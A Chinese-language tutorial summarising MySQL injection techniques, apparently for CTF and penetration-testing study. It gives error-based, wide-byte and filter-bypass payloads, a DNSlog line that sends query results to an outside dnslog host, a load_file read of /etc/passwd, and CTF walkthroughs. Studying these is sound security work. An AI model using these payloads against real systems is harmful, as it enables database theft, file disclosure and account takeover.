史上最水的MYSQL注入总结
字数 3575 2025-08-26 22:11:15
MySQL注入技术全面总结
0x01 MySQL基础知识
字符串操作函数
-
截取函数:
left(str, index)- 从左边第index开始截取right(str, index)- 从右边第index开始截取substring(str, index)- 从左边index开始截取substr(str, index, len)- 截取str从index开始,截取len长度mid(str, index, len)- 截取str从index开始,截取len长度
-
比较函数:
strcmp(expr1, expr2)- 相同返回0,expr1<expr2返回-1find_in_set(str, strlist)- 相同返回1,不同返回0
-
连接函数:
concat(str1, str2)- 字符串首尾相连concat_ws(separator, str1, str2)- 用指定连接符连接group_concat()- 分组连接
-
其他函数:
instr(str1, substr)- 返回子串第一次出现的位置lpad(str, len, padstr)/rpad(str, len, padstr)- 左右填充到指定长度
运算符
- 算术运算符:
+ - * / - 比较运算符:
=between:select database() between 0x61 and 0x7ain:select '123' in ('12') => 0like(模糊匹配):select '12345' like '12%' => trueregexp或rlike(正则匹配):select '123455' regexp '^12' => true
- 逻辑运算符:
not或!非AND逻辑与== &&OR逻辑或== ||XOR逻辑异或== ^
- 位运算符:
& | ^ ! << >>
常用函数
- 延时函数:
sleep()benchmark(1000000, sha(1))
- 编码函数:
hex()ascii()
- 文件函数:
load_file()- 读取文件outfile- 写入文件
构造语句知识
-
条件语句:
if(expr1, expr2, expr3)- expr1为true执行expr2否则执行expr3select case when (条件) then 代码1 else 代码2 end
-
information_schema结构:
information_schema.tables:查询表名(table_name)和对应数据库名(table_schema)information_schema.columns:查询列名(column_name)和对应表名(table_schema)
-
空白字符:
%20 %09 %0a %0b %0c %0d %a0 /**/ tab %a0- 内联注释:
/*!*/ - 特殊用法:
- 函数名和括号间插入特殊字符:
concat/**/() {identifier expr}:select {x 1} from {x test} limit 1
- 函数名和括号间插入特殊字符:
0x02 MySQL报错注入
常见payload:
-
floor():
and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) -
updatexml() (5.1.5+):
and 1=(updatexml(1,concat(0x3a,(select user())),1)) -
extractvalue() (5.1.5+):
and extractvalue(1,concat(0x5c,(select user()))) -
exp() (5.5.5+):
select host from user where user = 'root' and Exp(~(select * from (select version())a)); -
name_const (支持老版本):
select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x; -
几何函数:
select multipoint((select * from (select * from (select * from (select version())a)b)c));
0x03 宽字节注入
原理
-
MYSQL client链接编码问题:
- 查看编码:
show variables like '%character%' - 当客户端连接编码设置为GBK时,与PHP交互会出现字符转换导致单引号逃逸
- 测试payload:
index.php?id=%df%27 - 流程:
%df%27->addslashes()->%df%5c%27->数据库交互gbk编码->運'
- 查看编码:
-
MYSQL iconv/mb_convert_encoding函数问题:
%df%27===(addslashes)===>%df%5c%27===(iconv)===>%e5%5c%5c%27- UTF8 -> GBK -> UTF-8转换导致低位%5c(反斜杠)干掉了转义单引号的反斜杠
-
Big5编码问题:
功' -> addsalshes -> 功\' -> iconv -> %A5%5C%5C%27->¥\'逃逸单引号
0x04 DNSlog SQL盲注
在mysql中load_file会带DNS查询请求
-
查看权限:
show variables like '%secure%'secure_file_priv为空:可读取磁盘目录secure_file_priv为G:\:可读取G盘文件secure_file_priv为null:禁用load_file函数
-
UNC路径(网络共享文件方式):
\\xq17.com\tet(实际需要4个\转义)- 示例:
select load_file(concat(0x5c5c5c5c,version(),0x2E66326362386131382E646E736C6F672E6C696E6B2F2F616263));
注意:
- 二级域名需要加点将返回信息放在三级域名
- 对数据尽量加密处理,避免特殊字符导致传输失败
0x05 MySQL约束攻击
原理
- MySQL的SELECT查询进行字符串比较时,不同长度字符串会用空格填充到相同长度再比较
- MySQL插入数据时,当数据超过定义长度会出现截断现象
利用过程
目标:越权登陆xq17用户
- 注册用户名:
xq17 1(空格填充长度需要大于10),密码为1234560 - 登陆时传入目标用户名'xq17'和我们注册的密码
防御措施
- 加UNIQUE约束
- 代码获取用户名写进session时用返回结果
0x06 注入场景分析
同表注入
获取当前注入点所在表的信息,常见于后台登陆、CTF考点
-
过滤information_schema时的突破:
- 报错注入获取表名:
and polygon(id)# - 通过USING爆列名:
select * from (select * from test as a join test as b using(id,name))as c;
- 报错注入获取表名:
-
过滤字段名但可UNION:
- 通过ORDER BY进行降序排序判断内容
- 示例:
select * from test where name='xq17' union select 1,'x',3 order by name;
-
限制UNION SELECT等关键词:
- 使用比较运算符:
select * from test where name='xq17' && password<'2'
- 使用比较运算符:
绕过关键词过滤注入
-
过滤=:
- 函数绕过:
strcmp(),locate(s1,s),position(s1 in s),instr(s,s1),greatest(),find_in_set() < > <>like,regexpin:select "123" in ("123"); => 1
- 函数绕过:
-
过滤ascii() hex() bin() ord():
- 使用其他编码函数或直接比较
-
过滤substr() mid()等:
left(),right(),mid(),substr(),substring(),lpad(),rpad()
-
过滤字段名:
select e.3 from (select * from (select 1)b,(select 2)c,(select 3)a union select * from test)e; -
过滤逗号:
limit 0,1 => limit 1 offset 0;mid(str,5,1) => mid('str' from 5 for 1)union select 1,2,3 => union select * from (select 1)a join (select 2)b join (select 3)c;
-
硬匹配函数体:
version() =>version()version() => version/**/()
-
UNION开头正则过滤:
select * from test where name=0.1union select 1,2,3; select * from test where name=1E1union select 1,2,3; select * from test where name=\Nunion select 1,2,3; //\N => null -
传递敏感字符或过滤单引号:
- 将内容进行hex编码:
select * from test where name=0x78713137;
- 将内容进行hex编码:
-
/union select/匹配绕过:
union distinct select 1,2,3
0x07 CTF题目分析
HCTF Kzone
-
漏洞点:
member.php文件中的cookie注入$login_data = json_decode($_COOKIE['login_data'], true); $admin_user = $login_data['admin_user']; $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1"); -
绕过方法:
- JSON Unicode编码绕过WAF:
\u+4个十六进制数字 - 弱类型比较绕过:
sha1($udata['password'] . LOGIN_KEY) == 3
- JSON Unicode编码绕过WAF:
安恒11月赛-好黑的黑名单
-
绕过空格过滤:使用
%0a(select%0aflag%0afrom%0aflag) -
绕过单引号过滤:使用hex编码
if(((select%0af1agg%0afrom%0aflaggg)between%0a0x'+tmp1+'%0aand%0a0x'+tmp2+'),1,2)
安恒11月赛-ezsql
- 不使用SELECT的文件操作:
if((hex(load_file(0x2f6574632f706173737764))like(0x25)),1,2)
0x08 总结
本文全面总结了MySQL注入的各种技术,包括基础知识、报错注入、宽字节注入、DNSlog盲注、约束攻击等高级技术,以及在实际CTF比赛中的应用。掌握这些技术对于Web安全研究和渗透测试至关重要。